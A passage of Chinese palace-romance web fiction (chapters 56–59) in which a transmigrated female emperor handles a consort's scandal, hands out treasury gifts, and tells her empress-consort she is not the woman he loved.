又没听到回应,裴源叹了口气,又道:“朕说朕也没那么在意颜面,你猜猜王依萱怎么说?她说:陛下,民间近来因亲王欲行谋逆的流言,早已惶惶不安。陛下作为天下之主,自有安民心、抚民意之责。此次寿宴,保全的不仅仅是陛下威严,更是要给万民一颗定心丸。告诉万民,陛下乃圣主明君,自有稳定朝局、震慑四方之能。呵!话都让她说了。” 陆长行嘴角微勾,只觉得今日的凤帝甚是可爱。 裴源一回想起自己在奏本上哆哆嗦嗦的写了个‘准’,而后面如死灰的将私库钥匙递到了乌宛白手里,就气不打一处来。 她刚刚充盈的私库啊,钥匙还没捂热乎呢。 言及此,裴源又郑重道:“总之你把账木明细给朕记清楚些,回头朕一条条核对,若发现这家伙贪墨朕的银子,定叫她吃不了兜着走!” 话音落下良久,都听不到乌宛白回应,裴源不禁蹙眉,起身转过头,悬在的嘴边的话,生生因陆长行的到来而咽下,几息后,裴源端正了一下坐姿,态度稍显平淡:“是君后啊。” 陆长行悄然抬眸,目光在凤帝面上一落即收,随即淡然垂下眼睑,声音平稳如一:“陛下好似不想见到臣。” 许是在处理流言一事上,有思虑不周、举措失当之处,惹了裴源不悦,接连几日,请求面见凤帝,都未曾窥见圣颜。 裴源的确在避着陆长行。 自那日在地道中窥见原主的心事,她这心思就没安定过,一时之间,也不知该如何面对陆长行。 原主好不容易坐稳凤椅,福泽尚未尽享,就被自己这冒牌货鸠占鹊巢。自己不仅夺了她的江山社稷、凤位尊荣,连她的后君们也一并占了。 还仗着陆长行不知自己身份,与他情意缱绻。这般行径,与宵小之徒有什么区别? 所以听到陆长行的话,裴源莫名有些心虚,拢了拢半干的长发,随口道:“君后多心了,朕近来事忙。若有对君后冷落之处,纯属无心之失。” 陆长行静默片 刻,放下手中的帕子道:“臣年老色衰,频遭冷落,乃是情理之中。然,后宫诸君皆为陛下子嗣所系,广施恩宠方能保后宫安宁。还望陛下在眷顾淑君之时,亦能稍念一下其他后君。” 裴源:“……” 陆长行:“陛下事忙,臣不便打扰,臣告退。” 说罢,躬身揖礼,便要离去。 裴源见势,身体已下意识下了方台,一路疾跑拦在了陆长行身前。 陆长行停下步子,颔首道:“陛下还有事?” 裴源:“……” 裴源似觉自己的举止有些有悖于往常的沉稳,轻咳一声后,负手立在男子身前,神情淡漠,缓缓问道:“怎不见君后将万寿节宫殿布置及歌舞等事的用度明细,拿来给朕过目?” 陆长行垂首恭敬道:“内秩署用度节俭,为庆陛下生辰,诸君们亦有付出,所以臣未曾将此等小事拿来叨扰陛下。” “哦。”裴源挠挠头:“你们替朕分忧,朕很欣慰。只是这节俭也得有个限度。好歹是帝王之君,若生活质量还不及亲王之宾,那朕的颜面何在?所以若有所需,大可以同朕开口。大钱朕都花了,还在意那点小钱做什么?” 陆长行静默几息,颔首道:“陛下教训的是,是臣思虑不周。” 裴源愕然:“我……朕何时教训你了?” 陆长行沉默不语。 裴源感觉讨了个没趣,闷声道:“夜深了,君后早些休息吧。” 陆长行低垂的羽睫微微轻颤,似满腹心事难以言说。他很想拦住女子的去路,问个清楚,为何她要如此对待自己。 热情时那般依恋,仿佛心事只愿与他倾诉;可莫名其妙冷漠起来,却又没一句缘由,只屡次将他避之门外,视他为陌路之人,没有半分温情。 女人心,海底针。 陆长行实难揣度,躬身一礼,悄然退出了紫宸殿,恰遇西门眙下了步撵,怀里抱着一面大鼓,见了自己身影,忙要躬身行礼。 陆长行:“淑君不必多礼。” 西门眙倒了声谢,看着君后满脸笑颜,宫灯映在圆眸里,衬得少年都是鲜活模样:“若知君后在,臣今日便早些到了。” 解安在旁听的眉头一蹙,在旁忍不住啐道:“连着侍寝几日,嘚瑟……” “解安!” 陆长行呵住解安言辞:“言辞无状,还有没有规矩?向淑君道歉!” 见解安不情不愿的跪地请罪,西门眙也不计较,反而向君后解释道:“无碍,是臣根据陛下所言,新制了一个海浪鼓,可臣并没有见过海,不似君后那般走南闯北见多识广。也不知那到底是不是海浪声。” 陆长行似有了兴致,看着他怀里的大鼓道:“这就是那海浪鼓吗?” 西门眙点点头:“只要轻轻摇动,便有海浪声。君后您听。” 他说着轻抬鼓面,内部沙石便会在移动时会发出沙沙的声响,伴着夜风拂面,恰似浪拍打沙滩的声音。 “倒是玄妙。”陆长行暗赞他的心灵手巧:“陛下会满意的。” 西门眙扬起笑颜:“那臣便放心了。” 他微微俯身,行了一礼,可就在抬步踏入宫门之际,似又想到了什么,脚步一顿,驻足不前。 陆长行见他似满腹心事欲言又止,便开口问道:“有话不妨直言。” 西门眙沉默片刻,似在斟酌言辞,片刻后,抬眸认真道:“恕臣冒昧,臣前些时日替君后卜了一卦,卦象为恒,乃是雷在风中,风助雷势,二者相辅相成。君后若能坚守本心,定能得偿所愿;反之,若心生质疑猜忌,恐有凶险,徒留遗憾。” “所愿?”陆长行眉心微蹙,语气中带着几分探究:“不知淑君是因何事替本宫卜此卦象?” 西门眙微微眨眼,眸光闪动间,笑道:“臣不便妄言君后的因果,不过君后素来聪慧,想必自能参透。” 见西门眙的身影越来越暗,解安方起身道:“君后不必听他胡说八道,他就是故弄玄虚迷惑陛下。” 陆长行抬步迈向黑暗:“你如今是越来越不懂规矩了。” 解安一时语塞,扶着陆长行奔着栖梧宫的方向行进,不忘嘀咕道:“奴才也是替您抱屈。” 陆长行瞥他一眼:“本宫看你情绪不稳,去佛堂跪经去吧,何时稳下心绪,何时回来伺候。” 解安愣在原地,回过神时,君后早已走的远了,却也还是跪在长街叩了个头:“奴才听命。” 起身时,似瞥见暗处有一黑影一闪而过,再去看时,一切风平浪静,仿佛只是他刚刚花了眼。 第57章 第57章晋江文学城 万寿节将至,宫中上下皆洋溢着喜庆之气。近日朝堂上,众臣皆安分守己,裴源心中自是舒畅无比。 刚散了朝,裴源便被一名宫侍拦住了去路。 “陛下,君后有请。” “君后?”裴源居高临下,目光落在宫侍的脸上,虽觉眼熟,却一时想不起名字:“这个时辰?不是诸君晨会吗?”她微微沉吟:“怎么?有后君惹了你家主子不悦?” 温康挠挠头,一时不知该如何作答,只道:“陛下且去瞧瞧,便知晓了。” 裴源微微蹙眉,乌宛白见状,一旁笑道:“温康跟了君后三年,做事虽妥帖,却是个直性子,说话不懂婉转。陛下便别为难他了。以奴婢之见,或许是君后给陛下备了惊喜,也未可知。” 惊喜? 温康嘴角微抽,默默将头压低,不敢表露丝毫心事。 裴源虽看不见他的面色,却预感不妙,急忙抬手,御撵前行的方向偏转向了栖梧宫。 栖梧宫内,气氛清冷,静谧如水。随着凤帝驾临,凝重的死寂才缓和了几分。 裴源缓步而行,目光淡淡掠过诸君的面容,佳人千面,神色各异,但诸君紧张的情绪却如出一辙。 看来今日,后宫有大事发生。 裴源虽满心疑惑,一路行至君后身前时伸出手去。 陆长行似是微微一怔,旋即将手轻轻搭在凤帝的掌心,被裴源微微用力一托,便起身了。 裴源观察着他的神色,竟也是紧张模样,不由狐疑:“怎么了?”她轻声问:“有人惹你不快?” 陆长行垂着的眼眸缓缓抬起,注视女子的双眸似有触动,但尚来不及开口,殿中忽而传来郭嘉安的一声轻咳。 裴源回了神,捏了捏陆长行的手,跨上高台,端坐后椅:“诸君平身,赐座。” “谢陛下。” 诸君起身落座后,殿中又陷入了诡异的死寂。裴源不免觉得莫名其妙,却也懒的动脑,接过宫侍奉来的茶后,懒懒开口:“请朕过来不是有事要说?” 郭嘉安闻言出列跪禀:“陛下,昨夜臣经过花园察觉异样,竟是齐常侍与狂娘颠乾倒坤忘乎所以,扒开草丛时,齐常侍的绿色腰带正挂在那狂娘的肚兜上,好多宫人都看到了。” 一杯热茶尚来不及入口,裴源就被这番话惊的一个手滑,手中的盖碗满杯倾覆,热茶瞬间穿透薄裙,紧贴肌肤,烫的裴源当即跳脚:”烫烫烫烫烫……” 诸君见状,纷纷冲上前,场面一时乱作一团。 有的直接扑进了凤帝的怀里,有的紧紧抓着凤帝的手不松,有的屈身去拽凤帝的裙摆……还有的,因未冲到前列,在队伍后面急得上蹿下跳。 还是君后一声冷冽的呵斥,诸君才停下了手忙脚乱,纷纷偃旗息鼓,一脸失落的退回座位。 裴源在短暂的呆滞后,整理了一下凌乱的衣裙,抬头看着郭嘉安没好气道:“昨夜之事!为何今日才通禀朕?” 郭嘉安道:“昨夜亥时,陛下紫宸殿已然熄灯,臣怎敢以这等秽事叨扰陛下清梦……” 裴源一拍大腿:“那就叨扰啊!如何不敢?”裴源言此更加郁闷:“好多宫人都看到了,偏偏朕没看到!真是的!” 郭嘉安:“……陛下?” 她没事吧?没事吧? 郭嘉安极度无语,只能默默看向陆长行。 陆 长行悄然回首看了眼凤帝,女子脸色到还如常,就是眉眼之间稍显失落,仿佛……错失了什么东西一般。 陆长行一时拿捏不准,只试探着问道:“陛下,可要召见齐常侍,询问一二?” 齐常侍? 见凤帝静默沉思,陆长行轻声提示:“齐常侍乃是陛下登基那年,西川王送予陛下的美男。万寿节将至,西川王入京,若得知齐常侍做出这等没脸事,想必也会惶恐不安。但此事诸多人瞧见,实在不好遮掩,故而还是要问问陛下的意见。” 西川王? 裴源想起来了,齐常侍之母,为西川州的团练使,经西川王引荐入宫为侍。从起居注看,此人入宫三载,侍寝次数寥寥无几,可以说是相当不受宠了。 裴源微微蹙眉,心中权衡利弊。 若论情分,这不受宠的后君与人私通,于她而言本也无甚损失,一纸诏书将其赦放出宫,便罢了。可此事偏偏闹得人尽皆知,阖宫上下皆有所闻。若此时轻拿轻放,诸君难免会藐视宫规。 陆长行再行管教,诸君又怎会心悦诚服? 轻视君后,往后这宫中怕是难以再有安宁。 想到此处,裴源眸中闪过一丝狠厉,终是有了决断:“宫规森严,后君败坏纲常,此等秽行,断不可恕!依律,废黜其位,与那奸妇——” 言至此处,裴源起身,跨下高台,经过郭嘉安身侧时,一把拉住了他的手,带着他边走边道:“一同杖杀!” 陆长行目送两道渐行渐远的身影,落寞垂眸,屈身跪道:“恭送陛下。” 天空碧蓝如洗,连一片云都没有,高悬的日光刺目,照得人睁不开眼。裴源行得远了,松开郭嘉安的手,抬手遮住双眼,转身质问道:“三更半夜的,你不在寝殿里好好安歇,到处瞎溜达什么?还将此事闹得人尽皆知,你是不是纯心与朕过不去?” 郭嘉安打量着裴源的眉眼,的确有些愠怒,但似乎与齐常侍并无太大关系,他满心不解:“齐常侍与人私通,陛下竟不生气?” 裴源无语道:“朕为何要生气?常侍年俸才几两银子?只要他安分守己,朕养他一辈子又费不了多少银钱。” 郭嘉安初听之下,觉得似乎有些道理,可细一琢磨,这逻辑又实在说不通。他嘴唇微微动了动,良久才喃喃道:“可他并未安分守己。” “朕不在意他,所以只要他不来叨扰朕,那便是安分守己!”裴源正色道:“东西六宫十二殿,一个萝卜一个坑,大家相互了解,相安无事,不是挺好的?如今齐常侍被打入冷宫,又赶在万寿节前,届时若又有亲王以添补后缺进献美男,送些牛鬼神蛇进来,朕连拒绝之辞都找不到。” 郭嘉安愣怔稍许,许是阳光太过刺眼,桃花眼中竟渐渐蕴生出一层薄薄水汽。良久,他才找回自己的声音,语气里带着一丝难以置信:“臣……在陛下眼里,竟只是萝卜?” 裴源自觉失言,再开口时,竟有些失了底气,声音也低了几分:“你不要扣字眼,朕只是打个比喻。” 郭嘉安嘴角微颤,似有千言万语堵在喉间,终究化作一声沉叹,于是躬身行了一礼:“臣身子不适,不宜侍奉陛下,先行告退。” 言罢,未待凤帝回应,他已决然起身,迈步而去。红袍衣袂翻飞,似烈火灼灼,炽热张扬,仿若燎原之势前的一片猩红,刺目惊心。 裴源无奈扶额,满心郁闷。正烦闷时,恰见诸君从栖梧宫跪安告退,裴源便对远远观望的庄与之招了招手。 庄与之不明其意,却也实在好奇宸贵君究竟惹了凤帝何等不悦,便快步走向裴源。 行至裴源身前,庄与之微微一笑,屈身行礼:“陛下。” 裴源并未唤其起身,反而缓缓蹲到他面前,笑问:“笑得这般开心,昨夜睡得可好?” 庄与之抬眼,一脸无辜:“多谢陛下关切,臣昨夜睡得甚好。” 裴源点了点头:“难为你辛苦,大半夜的,先是把一众宫人从梦中唤醒,接着又将消息送到揽月阁,得知齐常侍之事彻底败露,便心满意足地睡下了,是吗?” 庄与之眨了眨眼:“陛、陛下?” 裴源怒意难平,双手毫不客气地掐住他腮边的两团肉:“庄与之,石室的事朕还未与你算账,你竟还敢来戳朕的霉头!朕警告你,往后再遇到这档子事,你要么就自己偷着乐,要么就直接叫上朕!若还敢像昨晚那样闹得阖宫皆知,朕定不轻饶!” 只听脸颊传来‘咯噔’两声脆响,庄与之痛得眉眼紧蹙,待再睁眼时,凤帝已拂袖而去。 庄与之一时悲从中来,双手揉着双腮,眼底竟泛起了一层薄薄的水雾,他委屈难抑,忍不住哽咽控诉:“这是什么道理?不奖赏我也便罢了,竟还责骂我?我爹都未掐过我~” 原本晴好的天气,不错的心情,被齐常侍这一档子事搅得阖宫上下人心惶惶,不得安宁。 秋康时才回到玉缡宫,便动了胎气。腹中怀的毕竟是凤帝的头一胎,太医署不敢有丝毫马虎,几乎是倾巢出动,最后竟连凤帝都被惊动了。 裴源匆匆赶到玉缡宫时,秋康时依旧脸色蜡黄,四肢冰凉如浸冷水。凤帝执起他的手时,秋康时神色恐惧,指尖都忍不住颤抖。 裴源装作毫不知情的模样,轻声安抚:“是朕的不是,明知你身怀有孕,见不得打打杀杀,还让你听了这档子污秽事,受了惊吓。” 秋康时微微抬眼,瞥了凤帝一眼,又匆匆垂下双眸。若搁在平日他定然能言善辩,应对自如,可今日只觉脑袋发懵,一句话都说不出口。 不知是心怀愧疚,或是心怀恐惧,秋康时几乎顷刻间便泪睫于盈,试探问道:“若有一日,臣……犯了错,陛下可会宽恕臣。” 裴源嘴角微漾,松开他的手,轻轻落在他凸起的小腹上,语气无比轻柔:“当然了,秋卿君育女辛苦,朕都记在心里。朕答允你,若这孩子出生后,冰清玉洁,身无半点瑕疵,朕此生,绝不负君。” 本是温柔细语,可落在秋康时耳中却成了夺命的镰刀,秋康时的脸瞬间失了血色,由蜡黄变的惨白一片,双眼一翻竟直接晕死过去。 玉缡宫瞬间乱做一团。 凤帝并不会看病,所以悄然退出了玉缡宫。边走边解下了腕上缠的帕子,仔细擦拭着掌心的细汗,直至手心干燥。凤帝细心地将帕子折好,对角绣的菡萏花,竟成了并蒂双莲的模样。随着女子的缠绕,花朵隐在腕内,又成了一张寻常素帕。 “去丰德库。” 第58章 第58章晋江文学城 凤帝的私库,由内库、琼林与丰德三部分组成,装的虽都是贵重物品,但内里大有乾坤。 内库主要存放金银珠宝;琼林库之物多用于赏赐;而丰德库则是历代凤帝私有之物的储存之地。 皇太祖以铁血开疆,丰德库中便藏有诸多珍稀兵器;先帝雅好甚广,无论是精美的金银器皿,还是奇巧的玩赏之物,但凡华贵,皆可入丰德库陈列。 丰德库意义非凡,因是帝王心头所爱,所以里面的每一件宝物都价值连城。每次开启取物赏人,那都是天大的恩赐。 裴源一路前行,终在一列兵器面前驻足。凤眸一一掠过那些历经战火、锋芒犹在的利刃,似在斟酌取哪件赏人。 乌宛白小心翼翼揣度凤帝的心思,于是取下一张弓道:“陛下,此弓名为破晓,为铸匠大师耗费五年心血锻造而成,据说,弓身是由精铁与千年老藤以绝技熔炼成弓,此弓箭无虚发,穿透力惊人,弦响如破晓鸣吟,因而得名破晓弓。” 裴源眉头微挑,似来了兴致,接过长弓在手里掂量,倒是很有分量。弓身通体乌黑,弓身刻有云纹,华贵大气,寓意也好。 这便是取悦了帝心,乌宛白见势微微一笑,又道:“此弓曾随太祖浴血厮杀,有帝王正气震慑,旁若邪祟必不敢靠近,安抚受惊的秋卿君最好不过。” 裴源一愣:“秋康时?” 乌宛白点头应是:“秋卿君身怀有孕,有了此弓在手,便等于有了太祖的庇佑,必能诞下康健之女。” 裴源蓦地轻笑出声:“你倒是比朕还紧张秋康时肚子里的孩子。” 乌宛白急忙颔首:“秋卿君怀的毕竟是陛下的第一女,陛下日理万机,奴婢自要替陛下照看一二。” 裴源笑而不语,只将弓递回乌宛白手里:“东六宫风水的确不好,是需要镇压,此弓送去揽月阁给宸贵君把玩。” 乌宛白愕然。 不送秋卿君安胎,却送宸贵君……把玩? 但凤帝自有主见,作为奴婢,乌宛白不好多言,端着弓继续跟在凤帝身后侍奉。 裴源缓缓迈步,继续打量起架阁之上的陈列之物,取下一对凹凸水晶镜片,两镜片本是独自的,入库时间都隔了几载,先帝原不知其中玄妙,还是第二枚镜片入库后,无意间将两镜片相互叠放,惊奇察觉竟有望远之效。 裴源取了双镜揣入怀中;又行几步,取下一盏琉璃灯细细打量,那灯工艺精湛,灯身以颜色绘出五彩斑斓的星河,若在其中置放蜡烛,想必在殿中也能看见漫天星河。 裴源索性提走。 又在丰德库中徘徊良久,最终驻足,面露茫然之色。 乌宛白见状,上前轻声问道:“陛下所觅何物?奴婢可帮您找找。” 裴源喃喃道:“朕既不知他心头所好,又觉这些宝物过于俗气,皆配不上他。一时心生茫然。” 乌宛白闻言悄然抬眼:“陛下说的是谁?” 裴源摇头:“没谁。” 是夜。 因着凤帝的驾到,凝霜阁也算迎来了百年一遇的盛况,宫人们满面迎春,凝霜阁的主人则是硬着头皮在殿门前迎接凤帝。 四目相对瞬间,凤帝眉头微挑,旋即掏出匠人赶工制出的望远镜,直接扔进了男子的怀里。却实没忍住打趣他道:“呦,竟还梳洗打扮了一番?朕还以为你瞧不上朕,会拿把笤帚轰朕出去呢!” 庄与之下意识抱住凤帝扔来的小金柱,虽不知何物,不过入手沉甸甸的,正要谢恩,却被凤帝这一番话羞的满面潮红。故而嘟囔道:“臣也不想打扮,偏申敬他们说,陛下难得来一次,若不好好伺候,是为大不敬。臣也是不得已而为之。” 裴源四下打量了一圈凝霜阁,原以为是金碧辉煌,无尽奢华,不承想,颇为清雅。 于是依着习惯跨上方台,倚凭几,吹晚风,瞥向阔步而来的庄与之后,淡淡道:“堂堂前朝君后之孙,身份高贵,何惧大不敬?” 庄与之脸色更红,刚端起的水杯叮的一声落下,气闷道:“陛下若是来讥讽臣的,目的已然达到。夜已深了,臣便不多留陛下了!” 裴源轻笑一生,无奈转头望向窗外,才察觉今晚的夜空,又挂上了一轮圆月。 时间过得飞快。 比之刚刚成为凤帝时的举步维艰,提心吊胆;时至如今,裴源竟已感受不到时间的流逝了。 每日按部就班的上朝、得心应手的批阅奏折、吃着不喜欢吃的桃花酥,与后君上演一场又一场不会落幕,也没有灵魂的情爱戏码。 裴源对月一番感叹时,庄与之已发现了小金柱的玄妙,想他自幼锦衣玉食,见惯了精美华物,但能将百步之外的景色看的这般真切的宝贝,还是第一次见,故而满面欢颜,爱不释手。 裴源似有所觉,转过头刚好瞧见他在傻笑:“此物唤作望远镜,其身可用木制,亦可用铜铸,但朕念及你身份尊贵,寻常之物恐入不得你的眼,故令匠人以金锻造,德君可还喜欢?” 庄与之敛起笑意,装作不在意的模样随手搁在一旁,端起水壶着手泡茶,一脸傲娇道:“在臣眼里,金为大俗之物。” “哦,那便是不稀罕了?”裴源起身准备夺回:“还是不留在你这碍眼了。” 庄与之情急去抢,一个不慎,热水烫红了手背。 裴源微微蹙眉,想也不想跨下方台,端了盆清水给他,凉水浸润之下,烫意稍有缓解。 裴源无语道:“送给你了,哪有往回要的道理?可见朕在你心里何其不堪。” 庄与之一时语塞,偷偷打量凤帝的眉眼,确认并无恼火之意,方才轻语呢喃:“陛下之前又没送过臣东西,臣怎么知晓您会不会往回收……” 殿内一时陷入死寂,唯有泠泠水声试图冲破名为尴尬的壁垒,良久,手再感受不到疼,庄与之才又问她:“这么晚了,陛下还喝茶吗?” 裴源微微摇头,只为自己斟了杯凉茶,语气淡然:“朕今日来此,目的想必你心知肚明。朕不逼你,这杯水饮尽前,你若愿说,朕便洗耳恭听;你若不愿,朕自离去,不再叨扰。” 庄与之愣了愣,颔首摩挲着新得的宝物,似在斟酌衡量。 殿中一时静谧无声,一杯凉茶也很快饮尽。 裴源明白了他的抉择,放下杯盏:“夜已深,德君早些睡吧。” 说罢起身而去,未有半分拖泥带水。只是一脚刚跨出殿外,庄与之的声音骤然从身后传来:“臣曾去过那个石室,所以知道机关所在。” 他见凤帝回首,单凤眸未见半分偏移,反而直直迎上凤帝的注视,缓缓又道:“公孙白秋原名……常白秋。” 他见凤帝神色平常,心中猜测便已得到了印证,果然,公孙白秋的身份,凤帝早已知晓。故而微微颔首,轻声又道:“臣明白,陛下那日毫不留情的斩杀了她,保全的是臣与臣父亲的脸面。臣虽愚钝,可这些时日以来,也渐渐明白了陛下的用心。但臣只是一介儿郎,恐左右不了父亲的决心……” 庄与之的声音渐次低落,终而几不可闻。 恰似一位素来惯于张扬的人,忽而卸下满身锋芒,袒露于人前时,竟只剩一张素白无华的纸笺。 他本无太多执念,甚至想法简单。故而任由他人在其上泼墨绘彩,描摹出他人满意的模样。嚣张是为彰显自身的地位;跋扈是为证明自身的能力;不可一世则是为了凸显与众不同。 那些是他的外在之象,可归根结底,他自己该是什么模样,他亦是满心惘然。 彼时,凤帝缓步踱至他的身前,凤眸深邃,凝视着他面容良久,方才缓缓启唇。 “皇舅与先前君后情谊深厚,虽不同姓,却都流着常氏的血。先前君后身死,皇舅便与先帝有了龃龉。念及他为皇子出生,不但保全他皇子殿下的身份,还赐他大皇子府,虽为他招了一位平庸的娘子为配,不过是希望他一辈子幸福完满。然于皇舅心中,却是奇耻大辱。是以皇舅心有不甘。他不敢怨怼先帝,便将满腔怨恨尽数倾泻于新帝。所以皇舅恨的并非朕,而是那张凤椅上所坐之人。无论谁坐上去,皆是夺了他前太女凤位的乱臣贼子。” 裴源默了默,又道:“这是皇舅的执念,与你无关;朕更不会因常氏作乱而迁怒你,你自也不必惶恐不安。” 庄与之眼睫微颤,心底亦似被波动的琴弦,震颤难平。 “阖宫诸君,唯你与朕血脉相连,”裴源抬手轻轻揉了揉他的发顶:“你若不嫌弃,往后,朕必视你为弟弟一般。” 庄与之微微一愣,蹙眉道:“可臣是陛下的君!” “趁早打消这个荒唐的念头。”裴源一脸正色道:“咱两八字不合,生了孩子没□□。” 庄与之:“……” 庄与之嘴唇翕动,似有满腔怒火悬在唇边,终是忍不住道:“陛下,您乃堂堂帝王,怎可听淑君胡说八道!” 裴源摆摆手道:“与淑君无关,是先帝托梦告知朕的。” 庄与之愕然。 裴源眸色深沉,安抚他道:“这种事,宁可信其有,毕竟孩子是无辜的。” 庄与之:“……” 她言此,重重拍了拍庄与之的肩:“今日事已说开,往后,便不要再与朕剑拔弩张了。往后若想出宫,同君后只会一声便好。夜深了,早些睡吧。” 说罢,逃也似的阔步离开了凝霜阁。 许是武将英灵的威 严震慑,东六宫的甬道上仿佛弥漫着一股凛冽的萧杀之气。裴源端坐于御撵之上,目光所及之处,竟是一片月光难以触及的幽深黑暗。 裴源下意识拢了拢手臂:“你有没有觉得东六宫的甬道,格外阴森啊?” 乌宛白憨憨一笑:“陛下说笑了,东六宫的紧挨着浣衣署和慎刑院,冷宫也在其列,所以甬道较之西六宫更长些,夜半幽深,显得清冷而已。” 裴源微微一愣:“慎刑院也在啊?” 乌宛白以为凤帝必是想到了今日惨遭杖杀的那对奸人,正要出言安抚,忽瞥见西长街一个人影以上而过:“谁!” 可惜,无人回应。 乌宛白眨了眨眼,嘀咕道:“真是奇了怪了,难道奴婢眼花了?” 裴源顺势望去,亦是一片清幽,却也信任乌宛白不会空穴来风,故而抬手轻落。 “陛下?”乌宛白不解。 御撵缓缓落地,裴源起身奔着西长街甬道走去:“既然有人刻意引导,不过去瞧瞧,岂非不给面子?” 乌宛白心领神会,忙躬身相扶:“陛下,这西长街尽头,正是西应门,往常内秩府采买入宫的物资,走的便是西应门。” 凤帝了然于心,不知不觉加快了脚步,终行至尽头时,果然听到一男子痛哭。 “深宫寂寥,臣也是一时糊涂,竟被那奸人迷的失了心智,原以为她值得托付,却不想昨夜她为了自己苟活,无端攀咬臣勾引于她……” 乌宛白听的一怔,小声道:“陛下,这不是?” 正是齐常侍,被杖杀抛入乱葬岗的消息,下午才传入凝辉殿,却不想此人死而复生,还出现在了西应门。 裴源抬手制止,乌宛白了然,与凤帝一同悄然躲在掖门后探出头去,果然看到了跪地哭诉的齐常侍。 齐常侍已穿上了民间服饰,月光将他的面容映照的憔悴不已,虽是哽咽,可说话早已没了力气,只是本能的呜咽着,挤出些只字片语:“……臣还与她做了那不齿之举,令陛下蒙羞,臣真是猪油蒙了心。” 立在他身前之人似是听的累了,沉声道:“事已发生,懊悔无用,出宫后好好生活吧。” 是陆长行。 齐常侍又是哽咽:“可臣一介郎君,不懂要如何谋生。” 陆长行冷声道:“玉镇榷场陨落,玉镇恐再难找回从前盛况。那里与京城靠得近,治安良好,经济也优良,正适合你居住。你刺绣技艺了得,亦识字,善诗书,还通礼节规范,如何不能凭一技谋生?” 齐常侍一把抓住陆长行的衣袍,似还要求情,却被陆长行漠然扯断。柳叶眸底冰冷,语气亦冷冽十分:“同为后君,兄弟一场,本宫怜你被奸人蒙蔽,才费尽周折保你一命。你若还不肯走,本宫不妨以陛下之命,将你斩杀。” 齐常侍的手指在月白锦袍上留下深深的褶皱,他嘴唇颤抖,再也说不出一个字,他已明白,再说也只剩徒劳。 陆长行扫过他的脸,无奈长叹:“本宫会命人送你去玉镇,出宫去吧。” 齐常侍不在纠缠,挺直后脊对着陆长行重重一拜,踉跄起身奔着宫外走去。 然,才走两步,似又想到了什么,转过身道:“既得君后相救,臣自当为报。”他缓和了一下气息,缓缓又道:“其实当年臣入宫,是奉西川王的密令,她叮嘱臣去找一个脚踝绣有蝎子的人。” 陆长行沉吟几息:“为何要找此人?” 齐常侍道:“西川王说,此人与陛下中蛊有关。”他默了默接着说:“可臣蠢笨,找了三年,全无一点收获。”他自嘲一笑:“可能,这就是西川王放弃臣的缘由吧。” 想说的话已说尽,齐常侍再无牵挂,转身缓步而去。随着宫门缓缓紧闭,陆长行敛起神思,亦转回身准备回宫。 就在他跨过正门的瞬间,忽而冷漠启唇:“窥视本宫之人众多,但盯了本宫这么久还不跑的,你是头一个,胆子不小啊。” 话音未落,几乎是一个瞬影,他头上的玉簪便已悬在了藏在掖门后的宵小脖颈上。 而后,愣在原地…… “陛、陛下?” 第59章 第59章晋江文学城 为送齐常侍出宫,陆长行已遣走所有禁军,乌宛白亦悄然退去。 暗影如墨,裴源看不清低垂的柳叶眸是何模样,只是悬在脖颈上的玉簪悄然收起。 两人相对良久,空气仿佛凝固了一般,只有偶尔传来的夜风声打破寂静。 陆长行终于忍不住打破了沉默,他的声音低沉,带着一丝压抑情绪:“臣……”他顿了顿,深吸一口气,继续说道:“枉顾陛下信任,私放罪君出宫,蒙蔽圣聪,罪无可恕,请陛下责罚。” 裴源站在原地,暗影包裹着她,仿佛与夜色融为一体。她没有立刻说话,只是静静看着面前的男子。 昏暗中,凤眸无比深邃,像是盛着无尽的波澜。 裴源静默良久,终执起他的手,放了一物在他的掌心。 尽管光线昏暗,可陆长行还是认出了掌心安放之物,正是陪伴凤帝多年的黑玉扳指。 他不解抬眸,却听女子道:“朕今日去了丰德库,取了三件宝物;送了宸贵君一把弓;送了淑君一盏灯;还送了德君一对凹凸镜。作为君后,亦该有赏,所以朕将这枚扳指送予君后。” 陆长行羽睫微颤:“此戒陪伴陛下多年,臣不能要。” 裴源轻合他的手指,意有所指:“它本就属于你。” 裴源言此退出暗影,月光瞬间倾洒,清冷的光华沾满了锦绣衣裳,亦将女子的神色照得清晰可见。 裴源垂下眼帘,面容在月光下显得愈发疏离和平静,语气既无愤怒,也无责备,反而平静得如同一潭死水:“朕说过,后宫诸事,全凭君后做主。齐常侍的结局是杖杀,还是出宫,都随君后心意定夺即可。夜已深,事已了,君后早些回吧。” 说罢,转身而去,可手腕却被男子牢牢紧握。 “臣不明白。”陆长行喉咙一滚,努力压下心头悲鸣:“若即若离、似疏非疏……陛下为何要如此待臣?” 裴源沉默良久,终是轻启朱唇,声线低沉:“我给你讲个故事吧。” “昔有一对孪生姐妹,长的一模一样。妹因变故失散,音信杳然。家族倾尽全力培育姐姐。姐姐不负所望,终成一家之主,娶一美男为夫。一日,姐姐外出遇险,香消玉殒。族中寻人,误将路过的妹妹带回。妹妹流离失所多年,对姐姐的一切心生向往,便冒名顶替,留在家中。久而久之,妹妹渐入佳境,姐姐的过往也逐一了解。其实,姐姐深爱其夫,只是不善表达,又恐家族之争连累夫郎,故而表现得冷漠疏离。” 裴源言至此处,微微停顿,目光凝落远方:“妹妹可以装作无知,取姐姐的一切而代之。唯有姐姐的夫婿,断不会染指,亦不想再欺骗那位夫婿,让他蒙在鼓里。” 裴源感觉的到紧握她的手在颤抖,故而缓缓又道:“陆长行,我知道你无法理解。可事实就是:我不是你的阿源,亦非失去了过往记忆。我,只是一缕鸠占鹊巢的幽魂,机缘巧合下成为了她。昔日对你所有的亲近,不过是这具身体的本能反应。身体说她喜欢你,因为她曾经的主人,喜欢你;而且,只喜欢你。” 裴源向前一步挣脱了他的拉扯,语气低沉:“我会替她好好照顾你,从今往后,但凡你有所求,只要合乎情理,我皆会应允。只是情爱之中……我不想做他人替身,所以,我不会再单独与你相见。亦望君后早日认清现实,节哀顺变。” 凤帝抬步而去,月光如水般将她紧紧包裹,仿佛为她镀上了一层清白色的光晕,亦为她罩上了一层隔阂的罩子,仿佛生人勿进,满是决绝。 圆月西沉,华光初上,新的一日缓缓拉开帷幕,亦在时间的流逝下,日落月上。 白尔过来求见。 裴源翻了一页书册:“你家主子叫你来的?” 白尔似要哭了出来,扑通一声跪在殿外,声音带着几 分颤抖:“陛下,救救我家主子吧。他被君后招去问话,如今已过了三个时辰,奴才几次前往栖梧宫,却连宫门都未能踏入一步。奴才实在无计可施,只能恳求陛下做主。” 裴源微微一愣。 